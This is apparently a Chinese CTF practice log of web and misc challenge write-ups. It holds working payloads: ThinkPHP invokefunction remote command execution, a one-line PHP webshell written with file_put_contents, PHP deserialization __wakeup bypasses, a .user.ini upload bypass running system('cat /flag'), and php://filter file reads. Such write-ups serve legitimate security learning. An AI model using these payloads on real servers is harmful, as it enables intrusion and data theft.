攻防世界web进阶
打开环境,是个上传的界面,猜想应该有过滤条件,看看源码有没有什么提示。
好像是只能传图片,目前看到的信息只匹配后缀,但是其他的过滤,他没有说,一步一步来,先传一个正常的图片试试,
可以访问到,然后就可以开始做题了。
先来简单的,写个一句话,然后将文件后缀改为shell.jpg
通过抓包修改后缀,
使用蚁剑连接
找到了flag.php
查看得到flag。这个是比较简单的那个上传,只过滤了后缀。
攻防世界web进阶
php反序列化知识点,
审计代码,
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
注意到fl4g.php
,然后还需要注意的是下面的限制条件,看到了正则匹配。
编写代码,生成对象的序列化,然后进行base64编码,使用get方式提交请求。
代码如下:
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$b = serialize($A);
$b = str_replace('O:4', 'O:+4',$b);
$b = str_replace(':1:', ':2:',$b);
echo base64_encode($b);
?>
正则
所以,要用+4
来代替4
运行得到payload,然后进行提交就可以得到flag了。
攻防世界web进阶
开启环境是这样的,也没有其他的提示,源码没什么信息,所以百度找了wp查看大佬的思路。
emmm,了解一下这个公开漏洞去。
找到一份环境的源码:https://github.com/vulnspy/thinkphp-5.1.29
主要代码:html\thinkphp\library\think\Request.php
ThinkPHP用于处理HTTP请求的Request类中,其中的method方法用于获取当前的请求类型。
以后学到docker了自己搭一个玩玩。总得来说有点迷,以后复现一下漏洞可能会好一点。
直接看大佬的解题姿势;
payload1
http://220.249.52.133:30775/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
可以查看到phpinfo,漏洞是一个命令执行漏洞,所以可以有多种做法。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
可以执行一些终端命令,所以可以慢慢找flag,这个是一种。
使用ls命令一级一级向上查,
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20../../../
找到了flag文件
查看这个文件使用cat命令,当然对linux命令熟悉的也可以使用其他的,像more这样,应该都可以的。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20../../../flag
就可以看到flag了。
直接查看到flag,find命令查找flag的位置
find / -name "*flag*"
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20%22*flag*%22%
呃呃呃,查出来的还真不少
最后一个
然后直接cat对应的flag文件。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
这个方法是写入一句话,直接写一个一句话木马在里面,然后使用蚁剑或者菜刀连接就行了,这方法挺不错的。试一下!
payload
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=shell.php&vars[1][1]=<?php%20eval($_REQUEST["m0re"]);?>
payload也有好几种,有兴趣的可以自行百度查看。
BUUCTFweb
看到了备份网站,先用dirsearch扫一下
扫完了,看到www.zip
打开看到flag.php
emmm????
果然提交了不对。还是要看另外两个文件
查看index.php
然后发现是利用PHP反序列化,
当username=admin
且password=100
的时候输出flag,但是
这个函数会把username变为guest,所以就需要序列化字符串中的对象来绕过。
代码:
class Name
{
private $username = 'admin';
private $password = '100';
}
$a = new Name();
echo serialize($a);//这个是没有使用URL编码的
echo urlencode(serialize($a));//将其结果使用URL进行编码
?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
这个Name后面的数字是属性,代表两个变量,把2改成3,就能绕过__wakeup()函数。
因为是private声明,我们需要在类名和字段名前面都会加上\0的前缀
这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
这段话是看一个师傅的wp中提到的,python提交方法
import requests
url ="http://e1a18420-fb66-465e-b486-f4a86ce4eb95.node3.buuoj.cn"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)
可以得到flag
不用python的话,在url栏中会出现\0
有空白符,而复制的时候会丢失。
加上%00
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
这个也可以得到flag。
参考链接——https://www.cnblogs.com/wangtanzhi/p/12193930.html
还有一种方法是将序列化后的字符串先进行URL编码再提交,就不用python提交参数了。
payload
http://e1a18420-fb66-465e-b486-f4a86ce4eb95.node3.buuoj.cn/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
参考链接——https://www.cnblogs.com/kevinbruce656/p/12332736.html
白给的shell。连接一句话,猜测可能是shell.php
不过没有连接成功,现在的问题是shell的名字是什么?
看整个题的信息,能让人想到文件名的字符串也就是上面说的白给的shell还有题目的Knife了,
然后就在根目录下找到了flag
我先进行上传了一个shell.php
题目描述是有一个github地址的,那里有源码,
在index.php中找到了过滤条件
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. '
';
echo 'Your files :
';
var_dump(scandir($userdir));
}
找到了这个是因为BUUCTF有源码地址,所以在源码中找到的,看了好多师傅的wp,原来的题中应该是没有源码的,所以需要自己去筛选过滤条件。
先贴一下参考链接——从SUCTF 2019 CheckIn 浅谈.user.ini的利用
按照这个师傅的wp来复现一下。
上传后缀为PHP的木马文件未成功,后缀黑名单过滤,尝试aaa
证明还检测文件内容了,文件中不能包含
然后换文件内容再次进行尝试
可以看到,这个就是使用了函数exif_imagetype
,对文件类型进行过滤,也就是上面的源码中显示的这一部分:
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
然后再加一个GIF的文件头,GIF89a
可以看出,上传成功。还有一个index.php
但是访问没有信息。
这些都是前置的一般上传步骤,然后网上的师傅们做这个题都是用的.user.ini
上传后门。至于了解,参考链接那个师傅写过了,可以直接过去学习。
这里我就直接复现了
上传.user.ini
GIF89a
auto_prepend_file=a.jpg
GIF89a
<script language='php'>system('cat /flag');</script>
成功上传后,访问
访问即可得到flag:http://72d554a3-81e7-41c1-b987-c0c9432cbe16.node3.buuoj.cn/uploads/adeee0c170ad4ffb110df0cde294aecd/index.php
.user.ini
利用条件
打开寻找信息,查看源码。发现Secret.php
访问,发现需要从一个指定的网站访问
抓包修改或添加Referer头
又要用Syclover
浏览器,修改User-Agent
只能本地访问
使用XFF进行伪造127.0.0.1
得到flag,还可以用插件ModHeader
解题,不用抓包。
不过都一样。
这道题,名字是include,应该是文件包含有关的。再看到点击tip会跳转到一个界面,但是没有flag
url是这样的http://371426d5-5373-47c1-9bf0-a7f7ef140596.node3.buuoj.cn/?file=flag.php
看到file想到了PHP伪协议
所以就尝试解题。首先尝试了php://input
但是被过滤了。
其他的挨个试,发现php://filter
可以,
payload
http://371426d5-5373-47c1-9bf0-a7f7ef140596.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php
英语不好多少有点上头,不过问题不是很大exec=执行
环境也是,应该就是命令执行了。
感觉命令执行就是看谁linux系统玩的转了。
备份文件,老规矩直接扫
这个长度不同,所以是它
然后访问得到备份文件
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
接下来就是简单的PHP代码审计弱类型。
payload
http://3faea66d-27b6-4f7d-be12-d38ef1dc5b34.node3.buuoj.cn/?key=123
得到flag
解压得到68个压缩包,了解到考察点是CRC碰撞
一般需要CRC碰撞的题的特征:
使用python脚本碰撞
CRC碰撞脚本(来源百度)
import zipfile
import string
import binascii
def CrackCrc(crc):
for i in dic:
for j in dic:
for k in dic:
for h in dic:
s = i + j + k + h
if crc == (binascii.crc32(s.encode())):
f.write(s)
return
def CrackZip():
for i in range(0,68):
file = 'out'+str(i)+'.zip'
crc = zipfile.ZipFile(file,'r').getinfo('data.txt').CRC
CrackCrc(crc)
dic = string.ascii_letters + string.digits + '+/='
f = open('out.txt','w')
CrackZip()
print("CRC32碰撞完成")
f.close
时间略久,等待。
然后得到一串base64编码,进行解码
CF 90 73
查百度了解,知道是缺少rar头部的部分。
但是没有得到flag——fix the file and get the flag
然后看wp了解
在文件头crc和位标记之间有一个74,这一位是固定的,但我们现在是7A
好久没做明文攻击的题了,我印象中好像也就做过一道,都快忘了。
现在以这个题复习一下。
既然要解压缩包,明文攻击肯定要有一个没密码的压缩包。只有图片里了,这个图片,foremost和binwalk都没有提取出来压缩包。
但是,能知道是有个zip压缩包的尾部,所以到010editor查看
发现最后部位的压缩包缺少个pk头部504B
补全头部,得到一个压缩包
可以开始明文攻击了,但是好慢啊
不解了,费劲。看wp去,
这。。。。。。。。。。?????????????????????
我修复了好多遍也没有得到答案。修复之后就没有文件了。(也可能是我的工具的问题)不管了
总之有点懵……
flag{3te9_nbb_ahh8}
拼二维码
没什么意思,纯粹是拼,拼完扫二维码。
一直解压,到233.rar
winrar爆出了错误是文件头损坏
修补一下,将7A
改成74
就可以打开图片了。
然后使用stegsolve打开,在blue的最低位发现了一个二维码,扫描得到
ci{v3erf_0tygidv2_fc0}
然后看另一个文件,foremost或者binwalk分离得到一个流量包
得到key.pcap
然后使用kali中的工具将keyboard data保存到file。
命令:tshark -r key.pcap -T fields -e usb.capdata > usbdata.txt
然后进行提取信息(使用python脚本,呃呃呃菜狗不会写,只能求助度娘)
#!/usr/bin/env python
# -*- coding:utf-8 -*-
#python 2.7
mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." }
nums = []
keys = open('usbdata.txt')
for line in keys:
if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
continue
nums.append(int(line[6:8],16))
keys.close()
output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'
print 'output :\n' + output
我吐了,搜的脚本都不管用,
?????output什么都没有,要不就是报错。表示无语=_=
改了快一个小时了,8️⃣
key直接百度找了是KEYXINAN
维吉尼亚解密:密码是XINAN
然后就是栅栏密码
简单的Misc已经做得差不多了,以后写难度中等一点的,慢慢提升。